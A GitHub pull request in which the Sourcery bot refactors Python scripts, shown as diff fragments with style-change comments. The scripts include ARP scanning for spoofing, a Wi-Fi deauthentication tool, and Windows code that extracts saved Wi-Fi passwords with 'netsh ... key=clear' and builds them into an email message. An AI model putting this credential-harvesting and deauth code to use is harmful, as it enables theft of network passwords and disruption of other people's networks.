-
Notifications
You must be signed in to change notification settings - Fork 0
Sourcery refactored main branch #1
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Conversation
| def in_sudo_mode(): | ||
| """If the user doesn't run the program with super user privileges, don't allow them to continue.""" | ||
| if not 'SUDO_UID' in os.environ.keys(): | ||
| if 'SUDO_UID' not in os.environ.keys(): |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Function in_sudo_mode refactored with the following changes:
- Simplify logical expression using De Morgan identities (
de-morgan)
| # We create an empty list where we will store the pairs of ARP responses. | ||
| arp_responses = list() | ||
| # We send arp packets through the network, verbose is set to 0 so it won't show any output. | ||
| # scapy's arping function returns two lists. We're interested in the answered results which is at the 0 index. | ||
| answered_lst = scapy.arping(ip_range, verbose=0)[0] | ||
|
|
||
| # We loop through all the responses and add them to a dictionary and append them to the list arp_responses. | ||
| for res in answered_lst: | ||
| # Every response will look something lke like -> {"ip" : "10.0.0.4", "mac" : "00:00:00:00:00:00"} | ||
| arp_responses.append({"ip" : res[1].psrc, "mac" : res[1].hwsrc}) | ||
|
|
||
|
|
||
| # We return the list of arp responses which contains dictionaries for every arp response. | ||
| return arp_responses | ||
| return [{"ip" : res[1].psrc, "mac" : res[1].hwsrc} for res in answered_lst] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Function arp_scan refactored with the following changes:
- Move assignment closer to its usage within a block (
move-assign-in-block) - Inline variable that is immediately returned (
inline-immediately-returned-variable) - Replace list() with [] (
list-literal) - Convert for loop into list comprehension (
list-comprehension)
This removes the following comments ( why? ):
# We loop through all the responses and add them to a dictionary and append them to the list arp_responses.
# Every response will look something lke like -> {"ip" : "10.0.0.4", "mac" : "00:00:00:00:00:00"}
# We create an empty list where we will store the pairs of ARP responses.
| # Loop through every row in the route -n command. | ||
| for row in result: | ||
| # We look to see if the gateway_ip is in the row, if it is we return True. If False program continues flow and returns False. | ||
| if gateway_ip in row: | ||
| return True | ||
|
|
||
| return False | ||
| return any(gateway_ip in row for row in result) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Function is_gateway refactored with the following changes:
- Use any() instead of for loop (
use-any)
This removes the following comments ( why? ):
# Loop through every row in the route -n command.
# We look to see if the gateway_ip is in the row, if it is we return True. If False program continues flow and returns False.
| # We use the listdir() function from the os module. Since we know there won't be files and only directories with the interface names we can save the output as the interface names. | ||
| interface_names = os.listdir() | ||
| # We return the interface names which we will use to find out which one is the name of the gateway. | ||
| return interface_names | ||
| return os.listdir() |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Function get_interface_names refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
This removes the following comments ( why? ):
# We use the listdir() function from the os module. Since we know there won't be files and only directories with the interface names we can save the output as the interface names.
| for item in arp_res: | ||
| # All items which are not the gateway will be appended to the client_list. | ||
| if gateway["ip"] != item["ip"]: | ||
| client_list.append(item) | ||
| client_list.extend(item for item in arp_res if gateway["ip"] != item["ip"]) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Function clients refactored with the following changes:
- Replace a for append loop with list extend (
for-append-to-extend)
This removes the following comments ( why? ):
# All items which are not the gateway will be appended to the client_list.
| port_range_valid = port_range_pattern.search(port_range.replace(" ","")) | ||
| if port_range_valid: | ||
| if port_range_valid := port_range_pattern.search( | ||
| port_range.replace(" ", "") | ||
| ): |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Lines 46-47 refactored with the following changes:
- Use named expression to simplify assignment and conditional (
use-named-expression)
|
|
||
| # If the user doesn't run the program with super user privileges, don't allow them to continue. | ||
| if not 'SUDO_UID' in os.environ.keys(): | ||
| if 'SUDO_UID' not in os.environ.keys(): |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Lines 58-78 refactored with the following changes:
- Simplify logical expression using De Morgan identities (
de-morgan) - Use f-string instead of string concatenation (
use-fstring-for-concatenation)
| def in_sudo_mode(): | ||
| """If the user doesn't run the program with super user privileges, don't allow them to continue.""" | ||
| if not 'SUDO_UID' in os.environ.keys(): | ||
| if 'SUDO_UID' not in os.environ.keys(): |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Function in_sudo_mode refactored with the following changes:
- Simplify logical expression using De Morgan identities (
de-morgan)
| result = subprocess.run(["iw", "dev"], capture_output=True).stdout.decode() | ||
| network_interface_controllers = wlan_code.findall(result) | ||
| return network_interface_controllers | ||
| return wlan_code.findall(result) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Function find_nic refactored with the following changes:
- Inline variable that is immediately returned (
inline-immediately-returned-variable)
| os.mkdir(directory + "/backup/") | ||
| os.mkdir(f'{directory}/backup/') | ||
| except: | ||
| print("Backup folder exists.") | ||
| # Create a timestamp | ||
| timestamp = datetime.now() | ||
| # We copy any .csv files in the folder to the backup folder. | ||
| shutil.move(file_name, directory + "/backup/" + str(timestamp) + "-" + file_name) | ||
| shutil.move(file_name, f'{directory}/backup/{str(timestamp)}-{file_name}') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Function backup_csv refactored with the following changes:
- Use f-string instead of string concatenation (
use-fstring-for-concatenation)
| active_wireless_networks = list() | ||
| active_wireless_networks = [] | ||
| try: | ||
| while True: | ||
| # We want to clear the screen before we print the network interfaces. | ||
| subprocess.call("clear", shell=True) | ||
| for file_name in os.listdir(): | ||
| if ".csv" in file_name: | ||
| # We should only have one csv file as we backup all previous csv files from the folder every time we run the program. | ||
| # The following list contains the field names for the csv entries. | ||
| fieldnames = ['BSSID', 'First_time_seen', 'Last_time_seen', 'channel', 'Speed', 'Privacy', 'Cipher', 'Authentication', 'Power', 'beacons', 'IV', 'LAN_IP', 'ID_length', 'ESSID', 'Key'] | ||
| if ".csv" in file_name: | ||
| with open(file_name) as csv_h: | ||
| # We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above. | ||
| # This creates a list of dictionaries with the keys as specified in the fieldnames. | ||
| csv_h.seek(0) | ||
| csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames) | ||
| for row in csv_reader: | ||
| if row["BSSID"] == "BSSID": | ||
| pass | ||
| elif row["BSSID"] == "Station MAC": | ||
| break | ||
| elif check_for_essid(row["ESSID"], active_wireless_networks): | ||
| active_wireless_networks.append(row) | ||
| with open(file_name) as csv_h: | ||
| # We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above. | ||
| # This creates a list of dictionaries with the keys as specified in the fieldnames. | ||
| csv_h.seek(0) | ||
| csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames) | ||
| for row in csv_reader: | ||
| if row["BSSID"] == "BSSID": | ||
| pass | ||
| elif row["BSSID"] == "Station MAC": | ||
| break | ||
| elif check_for_essid(row["ESSID"], active_wireless_networks): | ||
| active_wireless_networks.append(row) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Function wifi_networks_menu refactored with the following changes:
- Replace list() with [] (
list-literal) - Move assignments closer to their usage (
move-assign)
| macs_not_to_kick_off = list() | ||
| macs_not_to_kick_off = [] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Lines 200-310 refactored with the following changes:
- Replace list() with [] (
list-literal) - Simplify sequence comparison (
simplify-len-comparison) - Hoist statements out of for/while loops (
hoist-statement-from-loop) - Merge duplicate blocks in conditional (
merge-duplicate-blocks) - Remove redundant conditional (
remove-redundant-if) - Swap if/else to remove empty if body (
remove-pass-body)
This removes the following comments ( why? ):
# We will not add the MAC Addresses we specified at the beginning of the program to the ones we will kick off.
|
|
||
| # If the user doesn't run the program with super user privileges, don't allow them to continue. | ||
| if not 'SUDO_UID' in os.environ.keys(): | ||
| if 'SUDO_UID' not in os.environ.keys(): |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Lines 59-192 refactored with the following changes:
- Simplify logical expression using De Morgan identities (
de-morgan) - Use f-string instead of string concatenation (
use-fstring-for-concatenation)
|
|
||
| # If the user doesn't run the program with super user privileges, don't allow them to continue. | ||
| if not 'SUDO_UID' in os.environ.keys(): | ||
| if 'SUDO_UID' not in os.environ.keys(): |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Lines 57-193 refactored with the following changes:
- Simplify logical expression using De Morgan identities (
de-morgan) - Use f-string instead of string concatenation (
use-fstring-for-concatenation)
| wifi_list = list() | ||
| wifi_list = [] | ||
|
|
||
|
|
||
| # If we didn't find profile names we didn't have any wifi connections, so we only run the part to check for the details of the wifi and whether we can get their passwords in this part. | ||
| if len(profile_names) != 0: | ||
| for name in profile_names: | ||
| # Every wifi connection will need its own dictionary which will be appended to the wifi_list | ||
| wifi_profile = dict() | ||
| # We now run a more specific command to see the information about the specific wifi connection and if the Security key is not absent we can possibly get the password. | ||
| profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode() | ||
| # We use a regular expression to only look for the absent cases so we can ignore them. | ||
| if re.search("Security key : Absent", profile_info): | ||
| continue | ||
| else: | ||
| # Assign the ssid of the wifi profile to the dictionary | ||
| wifi_profile["ssid"] = name | ||
| # These cases aren't absent and we should run them "key=clear" command part to get the password | ||
| profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode() | ||
| # Again run the regular expressions to capture the group after the : which is the password | ||
| password = re.search("Key Content : (.*)\r", profile_info_pass) | ||
| wifi_profile = {'ssid': name} | ||
| # These cases aren't absent and we should run them "key=clear" command part to get the password | ||
| profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode() | ||
| # Again run the regular expressions to capture the group after the : which is the password | ||
| password = re.search("Key Content : (.*)\r", profile_info_pass) | ||
| # Check if we found a password in the regular expression. All wifi connections will not have passwords. | ||
| if password == None: | ||
| wifi_profile["password"] = None | ||
| else: | ||
| # We assign the grouping (Where the password is contained) we are interested to the password key in the dictionary. | ||
| wifi_profile["password"] = password[1] | ||
| # We append the wifi information to the wifi_list | ||
| wifi_list.append(wifi_profile) | ||
| wifi_profile["password"] = None if password is None else password[1] | ||
| # We append the wifi information to the wifi_list | ||
| wifi_list.append(wifi_profile) | ||
|
|
||
| # Create the message for the email | ||
| email_message = "" | ||
| for item in wifi_list: | ||
| email_message += f"SSID: {item['ssid']}, Password: {item['password']}\n" | ||
| email_message = "".join( | ||
| f"SSID: {item['ssid']}, Password: {item['password']}\n" | ||
| for item in wifi_list | ||
| ) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Lines 21-53 refactored with the following changes:
- Move assignment closer to its usage within a block (
move-assign-in-block) - Merge dictionary assignment with declaration (
merge-dict-assign) - Replace list() with [] (
list-literal) - Replace dict() with {} (
dict-literal) - Remove unnecessary else after guard condition (
remove-unnecessary-else) - Replace if statement with if expression (
assign-if-exp) - Use x is None rather than x == None (
none-compare) - Use str.join() instead of for loop (
use-join)
This removes the following comments ( why? ):
# Assign the ssid of the wifi profile to the dictionary
# Every wifi connection will need its own dictionary which will be appended to the wifi_list
# We use a regular expression to only look for the absent cases so we can ignore them.
# We assign the grouping (Where the password is contained) we are interested to the password key in the dictionary.
| wifi_list = list() | ||
| wifi_list = [] | ||
|
|
||
|
|
||
| # If we didn't find profile names we didn't have any wifi connections, so we only run the part to check for the details of the wifi and whether we can get their passwords in this part. | ||
| if len(profile_names) != 0: | ||
| for name in profile_names: | ||
| # Every wifi connection will need its own dictionary which will be appended to the wifi_list | ||
| wifi_profile = dict() | ||
| # We now run a more specific command to see the information about the specific wifi connection and if the Security key is not absent we can possibly get the password. | ||
| profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode() | ||
| # We use a regular expression to only look for the absent cases so we can ignore them. | ||
| if re.search("Security key : Absent", profile_info): | ||
| continue | ||
| else: | ||
| # Assign the SSID of the wifi profile to the dictionary | ||
| wifi_profile["ssid"] = name | ||
| # These cases aren't absent and we should run them "key=clear" command part to get the password | ||
| profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode() | ||
| # Again run the regular expressions to capture the group after the : which is the password | ||
| password = re.search("Key Content : (.*)\r", profile_info_pass) | ||
| wifi_profile = {'ssid': name} | ||
| # These cases aren't absent and we should run them "key=clear" command part to get the password | ||
| profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode() | ||
| # Again run the regular expressions to capture the group after the : which is the password | ||
| password = re.search("Key Content : (.*)\r", profile_info_pass) | ||
| # Check if we found a password in the regular expression. All wifi connections will not have passwords. | ||
| if password == None: | ||
| wifi_profile["password"] = None | ||
| else: | ||
| # We assign the grouping (Where the password is contained) we are interested to the password key in the dictionary. | ||
| wifi_profile["password"] = password[1] | ||
| # We append the wifi information to the wifi_list | ||
| wifi_list.append(wifi_profile) | ||
| wifi_profile["password"] = None if password is None else password[1] | ||
| # We append the wifi information to the wifi_list | ||
| wifi_list.append(wifi_profile) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Lines 20-47 refactored with the following changes:
- Move assignment closer to its usage within a block (
move-assign-in-block) - Merge dictionary assignment with declaration (
merge-dict-assign) - Replace list() with [] (
list-literal) - Replace dict() with {} (
dict-literal) - Remove unnecessary else after guard condition (
remove-unnecessary-else) - Replace if statement with if expression (
assign-if-exp) - Use x is None rather than x == None (
none-compare)
This removes the following comments ( why? ):
# Every wifi connection will need its own dictionary which will be appended to the wifi_list
# We use a regular expression to only look for the absent cases so we can ignore them.
# We assign the grouping (Where the password is contained) we are interested to the password key in the dictionary.
# Assign the SSID of the wifi profile to the dictionary
| # Every wifi connection will need its own dictionary which | ||
| # will be appended to the variable wifi_list. | ||
| wifi_profile = {} | ||
| # We can now run a more specific command to see the information | ||
| # about the wifi connection and if the Security key | ||
| # is not absent it may be possible to get the password. | ||
| profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode() | ||
| # We use the regular expression to only look for the absent cases so we can ignore them. | ||
| if re.search("Security key : Absent", profile_info): | ||
| continue | ||
| else: | ||
| # Assign the ssid of the wifi profile to the dictionary. | ||
| wifi_profile["ssid"] = name | ||
| # These cases aren't absent and we should run the | ||
| # "key=clear" command part to get the password. | ||
| profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode() | ||
| # Again run the regular expression to capture the | ||
| # group after the : (which is the password). | ||
| password = re.search("Key Content : (.*)\r", profile_info_pass) | ||
| wifi_profile = {'ssid': name} | ||
| # These cases aren't absent and we should run the | ||
| # "key=clear" command part to get the password. | ||
| profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode() | ||
| # Again run the regular expression to capture the | ||
| # group after the : (which is the password). | ||
| password = re.search("Key Content : (.*)\r", profile_info_pass) | ||
| # Check if we found a password using the regular expression. | ||
| # Some wifi connections may not have passwords. | ||
| if password == None: | ||
| wifi_profile["password"] = None | ||
| else: | ||
| # We assign the grouping (where the password is contained) that | ||
| # we are interested in to the password key in the dictionary. | ||
| wifi_profile["password"] = password[1] | ||
| # We append the wifi information to the variable wifi_list. | ||
| wifi_list.append(wifi_profile) | ||
| wifi_profile["password"] = None if password is None else password[1] | ||
| # We append the wifi information to the variable wifi_list. | ||
| wifi_list.append(wifi_profile) | ||
|
|
||
| for x in range(len(wifi_list)): | ||
| print(wifi_list[x]) | ||
| for wifi in wifi_list: | ||
| print(wifi) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Lines 44-75 refactored with the following changes:
- Merge dictionary assignment with declaration (
merge-dict-assign) - Move assignment closer to its usage within a block (
move-assign-in-block) - Remove unnecessary else after guard condition (
remove-unnecessary-else) - Replace if statement with if expression (
assign-if-exp) - Use x is None rather than x == None (
none-compare) - Replace index in for loop with direct reference (
for-index-replacement)
This removes the following comments ( why? ):
# We use the regular expression to only look for the absent cases so we can ignore them.
# will be appended to the variable wifi_list.
# we are interested in to the password key in the dictionary.
# Every wifi connection will need its own dictionary which
# We assign the grouping (where the password is contained) that
# Assign the ssid of the wifi profile to the dictionary.
Sourcery Code Quality Report✅ Merging this PR will increase code quality in the affected files by 0.14%.
Here are some functions in these files that still need a tune-up:
Legend and ExplanationThe emojis denote the absolute quality of the code:
The 👍 and 👎 indicate whether the quality has improved or gotten worse with this pull request. Please see our documentation here for details on how these metrics are calculated. We are actively working on this report - lots more documentation and extra metrics to come! Help us improve this quality report! |
Branch
mainrefactored by Sourcery.If you're happy with these changes, merge this Pull Request using the Squash and merge strategy.
See our documentation here.
Run Sourcery locally
Reduce the feedback loop during development by using the Sourcery editor plugin:
Review changes via command line
To manually merge these changes, make sure you're on the
mainbranch, then run:Help us improve this pull request!